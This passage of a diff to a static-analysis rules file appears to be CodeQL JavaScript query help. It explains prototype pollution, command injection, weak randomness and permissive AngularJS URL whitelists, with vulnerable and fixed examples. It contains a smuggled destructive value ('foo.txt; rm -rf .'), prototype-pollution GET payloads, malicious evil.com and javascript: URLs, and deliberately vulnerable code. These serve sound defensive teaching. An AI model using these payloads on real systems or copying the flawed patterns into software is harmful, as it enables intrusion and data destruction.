Injection](https://www.owasp.org/index.php/Command_Injection).\n* Node.js: [File System API](https://nodejs.org/api/fs.html).\n* [The Useless Use of Cat Award](http://porkmail.org/era/unix/award.html#cat).\n* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html).\n"
+            "text" : "# Prototype-polluting assignment\nMost JavaScript objects inherit the properties of the built-in `Object.prototype` object. Prototype pollution is a type of vulnerability in which an attacker is able to modify `Object.prototype`. Since most objects inherit from the compromised `Object.prototype` object, the attacker can use this to tamper with the application logic, and often escalate to remote code execution or cross-site scripting.\n\nOne way to cause prototype pollution is by modifying an object obtained via a user-controlled property name. Most objects have a special `__proto__` property that refers to `Object.prototype`. An attacker can abuse this special property to trick the application into performing unintended modifications of `Object.prototype`.\n\n\n## Recommendation\nUse an associative data structure that is resilient to untrusted key values, such as a [Map](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map). In some cases, a prototype-less object created with [Object.create(null)](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/create) may be preferable.\n\nAlternatively, restrict the computed property name so it can't clash with a built-in property, either by prefixing it with a constant string, or by rejecting inputs that don't conform to the expected format.\n\n\n## Example\nIn the example below, the untrusted value `req.params.id` is used as the property name `req.session.todos[id]`. If a malicious user passes in the ID value `__proto__`, the variable `items` will then refer to `Object.prototype`. Finally, the modification of `items` then allows the attacker to inject arbitrary properties onto `Object.prototype`.\n\n\n```javascript\nlet express = require('express');\nlet app = express()\n\napp.put('/todos/:id', (req, res) => {\n    let id = req.params.id;\n    let items = req.session.todos[id];\n    if (!items) {\n        items = req.session.todos[id] = {};\n    }\n    items[req.query.name] = req.query.text;\n    res.end(200);\n});\n\n```\nOne way to fix this is to use [Map](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map) objects to associate key/value pairs instead of regular objects, as shown below:\n\n\n```javascript\nlet express = require('express');\nlet app = express()\n\napp.put('/todos/:id', (req, res) => {\n    let id = req.params.id;\n    let items = req.session.todos.get(id);\n    if (!items) {\n        items = new Map();\n        req.sessions.todos.set(id, items);\n    }\n    items.set(req.query.name, req.query.text);\n    res.end(200);\n});\n\n```\nAnother way to fix it is to prevent the `__proto__` property from being used as a key, as shown below:\n\n\n```javascript\nlet express = require('express');\nlet app = express()\n\napp.put('/todos/:id', (req, res) => {\n    let id = req.params.id;\n    if (id === '__proto__' || id === 'constructor' || id === 'prototype') {\n        res.end(403);\n        return;\n    }\n    let items = req.session.todos[id];\n    if (!items) {\n        items = req.session.todos[id] = {};\n    }\n    items[req.query.name] = req.query.text;\n    res.end(200);\n});\n\n```\n\n## References\n* MDN: [Object.prototype.__proto__](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/proto)\n* MDN: [Map](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map)\n* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-94](https://cwe.mitre.org/data/definitions/94.html).\n* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).\n* Common Weakness Enumeration: [CWE-471](https://cwe.mitre.org/data/definitions/471.html).\n* Common Weakness Enumeration: [CWE-915](https://cwe.mitre.org/data/definitions/915.html).\n",
+            "markdown" : "# Prototype-polluting assignment\nMost JavaScript objects inherit the properties of the built-in `Object.prototype` object. Prototype pollution is a type of vulnerability in which an attacker is able to modify `Object.prototype`. Since most objects inherit from the compromised `Object.prototype` object, the attacker can use this to tamper with the application logic, and often escalate to remote code execution or cross-site scripting.\n\nOne way to cause prototype pollution is by modifying an object obtained via a user-controlled property name. Most objects have a special `__proto__` property that refers to `Object.prototype`. An attacker can abuse this special property to trick the application into performing unintended modifications of `Object.prototype`.\n\n\n## Recommendation\nUse an associative data structure that is resilient to untrusted key values, such as a [Map](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map). In some cases, a prototype-less object created with [Object.create(null)](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/create) may be preferable.\n\nAlternatively, restrict the computed property name so it can't clash with a built-in property, either by prefixing it with a constant string, or by rejecting inputs that don't conform to the expected format.\n\n\n## Example\nIn the example below, the untrusted value `req.params.id` is used as the property name `req.session.todos[id]`. If a malicious user passes in the ID value `__proto__`, the variable `items` will then refer to `Object.prototype`. Finally, the modification of `items` then allows the attacker to inject arbitrary properties onto `Object.prototype`.\n\n\n```javascript\nlet express = require('express');\nlet app = express()\n\napp.put('/todos/:id', (req, res) => {\n    let id = req.params.id;\n    let items = req.session.todos[id];\n    if (!items) {\n        items = req.session.todos[id] = {};\n    }\n    items[req.query.name] = req.query.text;\n    res.end(200);\n});\n\n```\nOne way to fix this is to use [Map](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map) objects to associate key/value pairs instead of regular objects, as shown below:\n\n\n```javascript\nlet express = require('express');\nlet app = express()\n\napp.put('/todos/:id', (req, res) => {\n    let id = req.params.id;\n    let items = req.session.todos.get(id);\n    if (!items) {\n        items = new Map();\n        req.sessions.todos.set(id, items);\n    }\n    items.set(req.query.name, req.query.text);\n    res.end(200);\n});\n\n```\nAnother way to fix it is to prevent the `__proto__` property from being used as a key, as shown below:\n\n\n```javascript\nlet express = require('express');\nlet app = express()\n\napp.put('/todos/:id', (req, res) => {\n    let id = req.params.id;\n    if (id === '__proto__' || id === 'constructor' || id === 'prototype') {\n        res.end(403);\n        return;\n    }\n    let items = req.session.todos[id];\n    if (!items) {\n        items = req.session.todos[id] = {};\n    }\n    items[req.query.name] = req.query.text;\n    res.end(200);\n});\n\n```\n\n## References\n* MDN: [Object.prototype.__proto__](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/proto)\n* MDN: [Map](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map)\n* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-94](https://cwe.mitre.org/data/definitions/94.html).\n* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).\n* Common Weakness Enumeration: [CWE-471](https://cwe.mitre.org/data/definitions/471.html).\n* Common Weakness Enumeration: [CWE-915](https://cwe.mitre.org/data/definitions/915.html).\n"
           },
           "properties" : {
-            "tags" : [ "correctness", "security", "maintainability", "external/cwe/cwe-078" ],
-            "description" : "Using the  `cat` process to read a file is unnecessarily complex, inefficient, unportable, and can lead to subtle bugs, or even security vulnerabilities.",
-            "id" : "js/unnecessary-use-of-cat",
-            "kind" : "problem",
-            "name" : "Unnecessary use of `cat` process",
+            "tags" : [ "security", "external/cwe/cwe-078", "external/cwe/cwe-079", "external/cwe/cwe-094", "external/cwe/cwe-400", "external/cwe/cwe-471", "external/cwe/cwe-915" ],
+            "description" : "Modifying an object obtained via a user-controlled property name may\n              lead to accidental mutation of the built-in Object prototype,\n              and possibly escalate to remote code execution or cross-site scripting.",
+            "id" : "js/prototype-polluting-assignment",
+            "kind" : "path-problem",
+            "name" : "Prototype-polluting assignment",
             "precision" : "high",
-            "problem.severity" : "error",
-            "security-severity" : "6.3"
+            "problem.severity" : "warning",
+            "security-severity" : "6.1"
           }
         }, {
-          "id" : "js/command-line-injection",
-          "name" : "js/command-line-injection",
+          "id" : "js/prototype-pollution",
+          "name" : "js/prototype-pollution",
           "shortDescription" : {
-            "text" : "Uncontrolled command line"
+            "text" : "Prototype-polluting merge call"
           },
           "fullDescription" : {
-            "text" : "Using externally controlled strings in a command line may allow a malicious user to change the meaning of the command."
+            "text" : "Recursively merging a user-controlled object into another object can allow an attacker to modify the built-in Object prototype, and possibly escalate to remote code execution or cross-site scripting."
           },
           "defaultConfiguration" : {
             "enabled" : true,
             "level" : "error"
           },
           "help" : {
-            "text" : "# Uncontrolled command line\nCode that passes untrusted user input directly to `child_process.exec` or similar APIs that execute shell commands allows the user to execute malicious code.\n\n\n## Recommendation\nIf possible, use APIs that don't run shell commands and that accept command arguments as an array of strings rather than a single concatenated string. This is both safer and more portable.\n\nIf given arguments as a single string, avoid simply splitting the string on whitespace. Arguments may contain quoted whitespace, causing them to split into multiple arguments. Use a library like `shell-quote` to parse the string into an array of arguments instead.\n\nIf this approach is not viable, then add code to verify that the user input string is safe before using it.\n\n\n## Example\nThe following example shows code that extracts a filename from an HTTP query parameter that may contain untrusted data, and then embeds it into a shell command to count its lines without examining it first:\n\n\n```javascript\nvar cp = require(\"child_process\"),\n    http = require('http'),\n    url = require('url');\n\nvar server = http.createServer(function(req, res) {\n    let file = url.parse(req.url, true).query.path;\n\n    cp.execSync(`wc -l ${file}`); // BAD\n});\n\n```\nA malicious user can take advantage of this code by executing arbitrary shell commands. For example, by providing a filename like `foo.txt; rm -rf .`, the user can first count the lines in `foo.txt` and subsequently delete all files in the current directory.\n\nTo avoid this catastrophic behavior, use an API such as `child_process.execFileSync` that does not spawn a shell by default:\n\n\n```javascript\nvar cp = require(\"child_process\"),\n    http = require('http'),\n    url = require('url');\n\nvar server = http.createServer(function(req, res) {\n    let file = url.parse(req.url, true).query.path;\n\n    cp.execFileSync('wc', ['-l', file]); // GOOD\n});\n\n```\nIf you want to allow the user to specify other options to `wc`, you can use a library like `shell-quote` to parse the user input into an array of arguments without risking command injection:\n\n\n```javascript\nvar cp = require(\"child_process\"),\n    http = require('http'),\n    url = require('url'),\n    shellQuote = require('shell-quote');\n\nvar server = http.createServer(function(req, res) {\n    let options = url.parse(req.url, true).query.options;\n\n    cp.execFileSync('wc', shellQuote.parse(options)); // GOOD\n});\n\n```\nAlternatively, the original example can be made safe by checking the filename against an allowlist of safe characters before using it:\n\n\n```javascript\nvar cp = require(\"child_process\"),\n    http = require('http'),\n    url = require('url');\n\nvar server = http.createServer(function(req, res) {\n    let file = url.parse(req.url, true).query.path;\n\n    // only allow safe characters in file name\n    if (file.match(/^[\\w\\.\\-\\/]+$/)) {\n        cp.execSync(`wc -l ${file}`); // GOOD\n    }\n});\n\n```\n\n## References\n* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection).\n* npm: [shell-quote](https://www.npmjs.com/package/shell-quote).\n* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html).\n* Common Weakness Enumeration: [CWE-88](https://cwe.mitre.org/data/definitions/88.html).\n",
-            "markdown" : "# Uncontrolled command line\nCode that passes untrusted user input directly to `child_process.exec` or similar APIs that execute shell commands allows the user to execute malicious code.\n\n\n## Recommendation\nIf possible, use APIs that don't run shell commands and that accept command arguments as an array of strings rather than a single concatenated string. This is both safer and more portable.\n\nIf given arguments as a single string, avoid simply splitting the string on whitespace. Arguments may contain quoted whitespace, causing them to split into multiple arguments. Use a library like `shell-quote` to parse the string into an array of arguments instead.\n\nIf this approach is not viable, then add code to verify that the user input string is safe before using it.\n\n\n## Example\nThe following example shows code that extracts a filename from an HTTP query parameter that may contain untrusted data, and then embeds it into a shell command to count its lines without examining it first:\n\n\n```javascript\nvar cp = require(\"child_process\"),\n    http = require('http'),\n    url = require('url');\n\nvar server = http.createServer(function(req, res) {\n    let file = url.parse(req.url, true).query.path;\n\n    cp.execSync(`wc -l ${file}`); // BAD\n});\n\n```\nA malicious user can take advantage of this code by executing arbitrary shell commands. For example, by providing a filename like `foo.txt; rm -rf .`, the user can first count the lines in `foo.txt` and subsequently delete all files in the current directory.\n\nTo avoid this catastrophic behavior, use an API such as `child_process.execFileSync` that does not spawn a shell by default:\n\n\n```javascript\nvar cp = require(\"child_process\"),\n    http = require('http'),\n    url = require('url');\n\nvar server = http.createServer(function(req, res) {\n    let file = url.parse(req.url, true).query.path;\n\n    cp.execFileSync('wc', ['-l', file]); // GOOD\n});\n\n```\nIf you want to allow the user to specify other options to `wc`, you can use a library like `shell-quote` to parse the user input into an array of arguments without risking command injection:\n\n\n```javascript\nvar cp = require(\"child_process\"),\n    http = require('http'),\n    url = require('url'),\n    shellQuote = require('shell-quote');\n\nvar server = http.createServer(function(req, res) {\n    let options = url.parse(req.url, true).query.options;\n\n    cp.execFileSync('wc', shellQuote.parse(options)); // GOOD\n});\n\n```\nAlternatively, the original example can be made safe by checking the filename against an allowlist of safe characters before using it:\n\n\n```javascript\nvar cp = require(\"child_process\"),\n    http = require('http'),\n    url = require('url');\n\nvar server = http.createServer(function(req, res) {\n    let file = url.parse(req.url, true).query.path;\n\n    // only allow safe characters in file name\n    if (file.match(/^[\\w\\.\\-\\/]+$/)) {\n        cp.execSync(`wc -l ${file}`); // GOOD\n    }\n});\n\n```\n\n## References\n* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection).\n* npm: [shell-quote](https://www.npmjs.com/package/shell-quote).\n* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html).\n* Common Weakness Enumeration: [CWE-88](https://cwe.mitre.org/data/definitions/88.html).\n"
+            "text" : "# Prototype-polluting merge call\nMost JavaScript objects inherit the properties of the built-in `Object.prototype` object. Prototype pollution is a type of vulnerability in which an attacker is able to modify `Object.prototype`. Since most objects inherit from the compromised `Object.prototype`, the attacker can use this to tamper with the application logic, and often escalate to remote code execution or cross-site scripting.\n\nOne way to cause prototype pollution is through use of an unsafe *merge* or *extend* function to recursively copy properties from an untrusted source object. Such a call can modify any object reachable from the destination object, and the built-in `Object.prototype` is usually reachable through the special properties `__proto__` and `constructor.prototype`. An attacker can abuse this by sending an object with these property names and thereby modify `Object.prototype`.\n\n\n## Recommendation\nUpdate your library dependencies in order to use a safe version of the *merge* or *extend* function. If your library has no fixed version, switch to another library.\n\n\n## Example\nIn the example below, the untrusted value `req.query.prefs` is parsed as JSON and then copied into a new object:\n\n\n```javascript\napp.get('/news', (req, res) => {\n  let prefs = lodash.merge({}, JSON.parse(req.query.prefs));\n})\n\n```\nPrior to lodash 4.17.11 this would be vulnerable to prototype pollution. An attacker could send the following GET request:\n\n```\nGET /news?prefs={\"constructor\":{\"prototype\":{\"xxx\":true}}}\n```\nThis causes the `xxx` property to be injected on `Object.prototype`. Fix this by updating the lodash version:\n\n\n```json\n{\n  \"dependencies\": {\n    \"lodash\": \"^4.17.12\"\n  }\n}\n\n```\nNote that some web frameworks, such as Express, parse query parameters using extended URL-encoding by default. When this is the case, the application may be vulnerable even if not using `JSON.parse`. The example below would also be susceptible to prototype pollution:\n\n\n```javascript\napp.get('/news', (req, res) => {\n  let config = lodash.merge({}, {\n    prefs: req.query.prefs\n  });\n})\n\n```\nIn the above example, an attacker can cause prototype pollution by sending the following GET request:\n\n```\nGET /news?prefs[constructor][prototype][xxx]=true\n```\n\n## References\n* Prototype pollution attacks: [lodash](https://hackerone.com/reports/380873), [jQuery](https://hackerone.com/reports/454365), [extend](https://hackerone.com/reports/381185), [just-extend](https://hackerone.com/reports/430291), [merge.recursive](https://hackerone.com/reports/381194).\n* Express: [urlencoded()](https://expressjs.com/en/api.html#express.urlencoded)\n* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-94](https://cwe.mitre.org/data/definitions/94.html).\n* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).\n* Common Weakness Enumeration: [CWE-471](https://cwe.mitre.org/data/definitions/471.html).\n* Common Weakness Enumeration: [CWE-915](https://cwe.mitre.org/data/definitions/915.html).\n",
+            "markdown" : "# Prototype-polluting merge call\nMost JavaScript objects inherit the properties of the built-in `Object.prototype` object. Prototype pollution is a type of vulnerability in which an attacker is able to modify `Object.prototype`. Since most objects inherit from the compromised `Object.prototype`, the attacker can use this to tamper with the application logic, and often escalate to remote code execution or cross-site scripting.\n\nOne way to cause prototype pollution is through use of an unsafe *merge* or *extend* function to recursively copy properties from an untrusted source object. Such a call can modify any object reachable from the destination object, and the built-in `Object.prototype` is usually reachable through the special properties `__proto__` and `constructor.prototype`. An attacker can abuse this by sending an object with these property names and thereby modify `Object.prototype`.\n\n\n## Recommendation\nUpdate your library dependencies in order to use a safe version of the *merge* or *extend* function. If your library has no fixed version, switch to another library.\n\n\n## Example\nIn the example below, the untrusted value `req.query.prefs` is parsed as JSON and then copied into a new object:\n\n\n```javascript\napp.get('/news', (req, res) => {\n  let prefs = lodash.merge({}, JSON.parse(req.query.prefs));\n})\n\n```\nPrior to lodash 4.17.11 this would be vulnerable to prototype pollution. An attacker could send the following GET request:\n\n```\nGET /news?prefs={\"constructor\":{\"prototype\":{\"xxx\":true}}}\n```\nThis causes the `xxx` property to be injected on `Object.prototype`. Fix this by updating the lodash version:\n\n\n```json\n{\n  \"dependencies\": {\n    \"lodash\": \"^4.17.12\"\n  }\n}\n\n```\nNote that some web frameworks, such as Express, parse query parameters using extended URL-encoding by default. When this is the case, the application may be vulnerable even if not using `JSON.parse`. The example below would also be susceptible to prototype pollution:\n\n\n```javascript\napp.get('/news', (req, res) => {\n  let config = lodash.merge({}, {\n    prefs: req.query.prefs\n  });\n})\n\n```\nIn the above example, an attacker can cause prototype pollution by sending the following GET request:\n\n```\nGET /news?prefs[constructor][prototype][xxx]=true\n```\n\n## References\n* Prototype pollution attacks: [lodash](https://hackerone.com/reports/380873), [jQuery](https://hackerone.com/reports/454365), [extend](https://hackerone.com/reports/381185), [just-extend](https://hackerone.com/reports/430291), [merge.recursive](https://hackerone.com/reports/381194).\n* Express: [urlencoded()](https://expressjs.com/en/api.html#express.urlencoded)\n* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-94](https://cwe.mitre.org/data/definitions/94.html).\n* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).\n* Common Weakness Enumeration: [CWE-471](https://cwe.mitre.org/data/definitions/471.html).\n* Common Weakness Enumeration: [CWE-915](https://cwe.mitre.org/data/definitions/915.html).\n"
           },
           "properties" : {
-            "tags" : [ "correctness", "security", "external/cwe/cwe-078", "external/cwe/cwe-088" ],
-            "description" : "Using externally controlled strings in a command line may allow a malicious\n              user to change the meaning of the command.",
-            "id" : "js/command-line-injection",
+            "tags" : [ "security", "external/cwe/cwe-078", "external/cwe/cwe-079", "external/cwe/cwe-094", "external/cwe/cwe-400", "external/cwe/cwe-471", "external/cwe/cwe-915" ],
+            "description" : "Recursively merging a user-controlled object into another object\n              can allow an attacker to modify the built-in Object prototype,\n              and possibly escalate to remote code execution or cross-site scripting.",
+            "id" : "js/prototype-pollution",
             "kind" : "path-problem",
-            "name" : "Uncontrolled command line",
+            "name" : "Prototype-polluting merge call",
             "precision" : "high",
             "problem.severity" : "error",
-            "security-severity" : "9.8"
+            "security-severity" : "6.1"
           }
         }, {
-          "id" : "js/insecure-randomness",
-          "name" : "js/insecure-randomness",
+          "id" : "js/angular/insecure-url-whitelist",
+          "name" : "js/angular/insecure-url-whitelist",
           "shortDescription" : {
-            "text" : "Insecure randomness"
+            "text" : "Insecure URL whitelist"
           },
           "fullDescription" : {
-            "text" : "Using a cryptographically weak pseudo-random number generator to generate a security-sensitive value may allow an attacker to predict what value will be generated."
+            "text" : "URL whitelists that are too permissive can cause security vulnerabilities."
           },
           "defaultConfiguration" : {
             "enabled" : true,
             "level" : "warning"
           },
           "help" : {
-            "text" : "# Insecure randomness\nUsing a cryptographically weak pseudo-random number generator to generate a security-sensitive value, such as a password, makes it easier for an attacker to predict the value.\n\nPseudo-random number generators generate a sequence of numbers that only approximates the properties of random numbers. The sequence is not truly random because it is completely determined by a relatively small set of initial values, the seed. If the random number generator is cryptographically weak, then this sequence may be easily predictable through outside observations.\n\n\n## Recommendation\nUse a cryptographically secure pseudo-random number generator if the output is to be used in a security-sensitive context. As a rule of thumb, a value should be considered \"security-sensitive\" if predicting it would allow the attacker to perform an action that they would otherwise be unable to perform. For example, if an attacker could predict the random password generated for a new user, they would be able to log in as that new user.\n\nFor JavaScript on the NodeJS platform, `crypto.getRandomBytes` provides a cryptographically secure pseudo-random byte generator. Note that the conversion from bytes to numbers can introduce bias that breaks the security.\n\nFor JavaScript in the browser, `RandomSource.getRandomValues` provides a cryptographically secure pseudo-random number generator.\n\n\n## Example\nThe following examples show different ways of generating a password.\n\nIn the first case, we generate a fresh password by appending a random integer to the end of a static string. The random number generator used (`Math.random`) is not cryptographically secure, so it may be possible for an attacker to predict the generated password.\n\n\n```javascript\nfunction insecurePassword() {\n    // BAD: the random suffix is not cryptographically secure\n    var suffix = Math.random();\n    var password = \"myPassword\" + suffix;\n    return password;\n}\n\n```\nIn the second example, a cryptographically secure random number generator is used for the same purpose. In this case, it is much harder to predict the generated integers.\n\n\n```javascript\nfunction securePassword() {\n    // GOOD: the random suffix is cryptographically secure\n    var suffix = window.crypto.getRandomValues(new Uint32Array(1))[0];\n    var password = \"myPassword\" + suffix;\n    return password;\n}\n\n```\n\n## References\n* Wikipedia: [Pseudo-random number generator](http://en.wikipedia.org/wiki/Pseudorandom_number_generator).\n* Mozilla Developer Network: [RandomSource.getRandomValues](https://developer.mozilla.org/en-US/docs/Web/API/RandomSource/getRandomValues).\n* NodeJS: [crypto.randomBytes](https://nodejs.org/api/crypto.html#crypto_crypto_randombytes_size_callback)\n* Common Weakness Enumeration: [CWE-338](https://cwe.mitre.org/data/definitions/338.html).\n",
-            "markdown" : "# Insecure randomness\nUsing a cryptographically weak pseudo-random number generator to generate a security-sensitive value, such as a password, makes it easier for an attacker to predict the value.\n\nPseudo-random number generators generate a sequence of numbers that only approximates the properties of random numbers. The sequence is not truly random because it is completely determined by a relatively small set of initial values, the seed. If the random number generator is cryptographically weak, then this sequence may be easily predictable through outside observations.\n\n\n## Recommendation\nUse a cryptographically secure pseudo-random number generator if the output is to be used in a security-sensitive context. As a rule of thumb, a value should be considered \"security-sensitive\" if predicting it would allow the attacker to perform an action that they would otherwise be unable to perform. For example, if an attacker could predict the random password generated for a new user, they would be able to log in as that new user.\n\nFor JavaScript on the NodeJS platform, `crypto.getRandomBytes` provides a cryptographically secure pseudo-random byte generator. Note that the conversion from bytes to numbers can introduce bias that breaks the security.\n\nFor JavaScript in the browser, `RandomSource.getRandomValues` provides a cryptographically secure pseudo-random number generator.\n\n\n## Example\nThe following examples show different ways of generating a password.\n\nIn the first case, we generate a fresh password by appending a random integer to the end of a static string. The random number generator used (`Math.random`) is not cryptographically secure, so it may be possible for an attacker to predict the generated password.\n\n\n```javascript\nfunction insecurePassword() {\n    // BAD: the random suffix is not cryptographically secure\n    var suffix = Math.random();\n    var password = \"myPassword\" + suffix;\n    return password;\n}\n\n```\nIn the second example, a cryptographically secure random number generator is used for the same purpose. In this case, it is much harder to predict the generated integers.\n\n\n```javascript\nfunction securePassword() {\n    // GOOD: the random suffix is cryptographically secure\n    var suffix = window.crypto.getRandomValues(new Uint32Array(1))[0];\n    var password = \"myPassword\" + suffix;\n    return password;\n}\n\n```\n\n## References\n* Wikipedia: [Pseudo-random number generator](http://en.wikipedia.org/wiki/Pseudorandom_number_generator).\n* Mozilla Developer Network: [RandomSource.getRandomValues](https://developer.mozilla.org/en-US/docs/Web/API/RandomSource/getRandomValues).\n* NodeJS: [crypto.randomBytes](https://nodejs.org/api/crypto.html#crypto_crypto_randombytes_size_callback)\n* Common Weakness Enumeration: [CWE-338](https://cwe.mitre.org/data/definitions/338.html).\n"
+            "text" : "# Insecure URL whitelist\nAngularJS uses filters to ensure that the URLs used for sourcing AngularJS templates and other script-running URLs are safe. One such filter is a whitelist of URL patterns to allow.\n\nA URL pattern that is too permissive can cause security vulnerabilities.\n\n\n## Recommendation\nMake the whitelist URL patterns as restrictive as possible.\n\n\n## Example\nThe following example shows an AngularJS application with whitelist URL patterns that all are too permissive.\n\n\n```javascript\nangular.module('myApp', [])\n    .config(function($sceDelegateProvider) {\n        $sceDelegateProvider.resourceUrlWhitelist([\n            \"*://example.org/*\", // BAD\n            \"https://**.example.com/*\", // BAD\n            \"https://example.**\", // BAD\n            \"https://example.*\" // BAD\n        ]);\n    });\n\n```\nThis is problematic, since the four patterns match the following malicious URLs, respectively:\n\n* `javascript://example.org/a%0A%0Dalert(1)` (`%0A%0D` is a linebreak)\n* `https://evil.com/?ignore=://example.com/a`\n* `https://example.evil.com`\n* `https://example.evilTld`\n\n## References\n* OWASP/Google presentation: [Securing AngularJS Applications](https://www.owasp.org/images/6/6e/Benelus_day_20161125_S_Lekies_Securing_AngularJS_Applications.pdf)\n* AngularJS Developer Guide: [Format of items in resourceUrlWhitelist/Blacklist](https://docs.angularjs.org/api/ng/service/$sce#resourceUrlPatternItem).\n* Common Weakness Enumeration: [CWE-183](https://cwe.mitre.org/data/definitions/183.html).\n* Common Weakness Enumeration: [CWE-625](https://cwe.mitre.org/data/definitions/625.html).\n",
+            "markdown" : "# Insecure URL whitelist\nAngularJS uses filters to ensure that the URLs used for sourcing AngularJS templates and other script-running URLs are safe. One such filter is a whitelist of URL patterns to allow.\n\nA URL pattern that is too permissive can cause security vulnerabilities.\n\n\n## Recommendation\nMake the whitelist URL patterns as restrictive as possible.\n\n\n## Example\nThe following example shows an AngularJS application with whitelist URL patterns that all are too permissive.\n\n\n```javascript\nangular.module('myApp', [])\n    .config(function($sceDelegateProvider) {\n        $sceDelegateProvider.resourceUrlWhitelist([\n            \"*://example.org/*\", // BAD\n            \"https://**.example.com/*\", // BAD\n            \"https://example.**\", // BAD\n            \"https://example.*\" // BAD\n        ]);\n    });\n\n```\nThis is problematic, since the four patterns match the following malicious URLs, respectively:\n\n* `javascript://example.org/a%0A%0Dalert(1)` (`%0A%0D` is a linebreak)\n* `https://evil.com/?ignore=://example.com/a`\n* `https://example.evil.com`\n* `https://example.evilTld`\n\n## References\n* OWASP/Google presentation: [Securing AngularJS Applications](https://www.owasp.org/images/6/6e/Benelus_day_20161125_S_Lekies_Securing_AngularJS_Applications.pdf)\n* AngularJS Developer Guide: [Format of items in resourceUrlWhitelist/Blacklist](https://docs.angularjs.org/api/ng/service/$sce#resourceUrlPatternItem).\n* Common Weakness Enumeration: [CWE-183](https://cwe.mitre.org/data/definitions/183.html).\n* Common Weakness Enumeration: [CWE-625](https://cwe.mitre.org/data/definitions/625.html).\n"
           },
           "properties" : {
-            "tags" : [ "security", "external/cwe/cwe-338" ],
-            "description" : "Using a cryptographically weak pseudo-random number generator to generate a\n              security-sensitive value may allow an attacker to predict what value will\n              be generated.",
-            "id" : "js/insecure-randomness",
-            "kind" : "path-problem",
-            "name" : "Insecure randomness",
-            "precision" : "high",
+            "tags" : [ "security", "frameworks/angularjs", "external/cwe/cwe-183", "external/cwe/cwe-625" ],
+            "description" : "URL whitelists that are too permissive can cause security vulnerabilities.",
+            "id" : "js/angular/insecure-url-whitelist",
+            "kind" : "problem",
+            "name" : "Insecure URL whitelist",
+            "precision" : "very-high",
             "problem.severity" : "warning",
-            "security-severity" : "7.8"
+            "security-severity" : "7.5"
           }
         }, {
-          "id" : "js/identity-replacement",
-          "name" : "js/identity-replacement",
+          "id" : "js/angular/disabling-sce",
+          "name" : "js/angular/disabling-sce",
           "shortDescription" : {
-            "text" : "Replacement of a substring with itself"
+            "text" : "Disabling SCE"
           },
           "fullDescription" : {
-            "text" : "Replacing a substring with itself has no effect and may indicate a mistake."
+            "text" : "Disabling strict contextual escaping (SCE) can cause security vulnerabilities."
           },
           "defaultConfiguration" : {
             "enabled" : true,
             "level" : "warning"
           },
           "help" : {
-            "text" : "# Replacement of a substring with itself\nReplacing a substring with itself has no effect and usually indicates a mistake, such as misspelling a backslash escape.\n\n\n## Recommendation\nExamine the string replacement to find and correct any typos.\n\n\n## Example\nThe following code snippet attempts to backslash-escape all double quotes in `raw` by replacing all instances of `\"` with `\\\"`:\n\n\n```javascript\nvar escaped = raw.replace(/\"/g, '\\\"');\n\n```\nHowever, the replacement string `'\\\"'` is actually the same as `'\"'`, with `\\\"` interpreted as an identity escape, so the replacement does nothing. Instead, the replacement string should be `'\\\\\"'`:\n\n\n```javascript\nvar escaped = raw.replace(/\"/g, '\\\\\"');\n\n```\n\n## References\n* Mozilla Developer Network: [String escape notation](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String#Escape_notation).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n",
-            "markdown" : "# Replacement of a substring with itself\nReplacing a substring with itself has no effect and usually indicates a mistake, such as misspelling a backslash escape.\n\n\n## Recommendation\nExamine the string replacement to find and correct any typos.\n\n\n## Example\nThe following code snippet attempts to backslash-escape all double quotes in `raw` by replacing all instances of `\"` with `\\\"`:\n\n\n```javascript\nvar escaped = raw.replace(/\"/g, '\\\"');\n\n```\nHowever, the replacement string `'\\\"'` is actually the same as `'\"'`, with `\\\"` interpreted as an identity escape, so the replacement does nothing. Instead, the replacement string should be `'\\\\\"'`:\n\n\n```javascript\nvar escaped = raw.replace(/\"/g, '\\\\\"');\n\n```\n\n## References\n* Mozilla Developer Network: [String escape notation](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String#Escape_notation).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n"
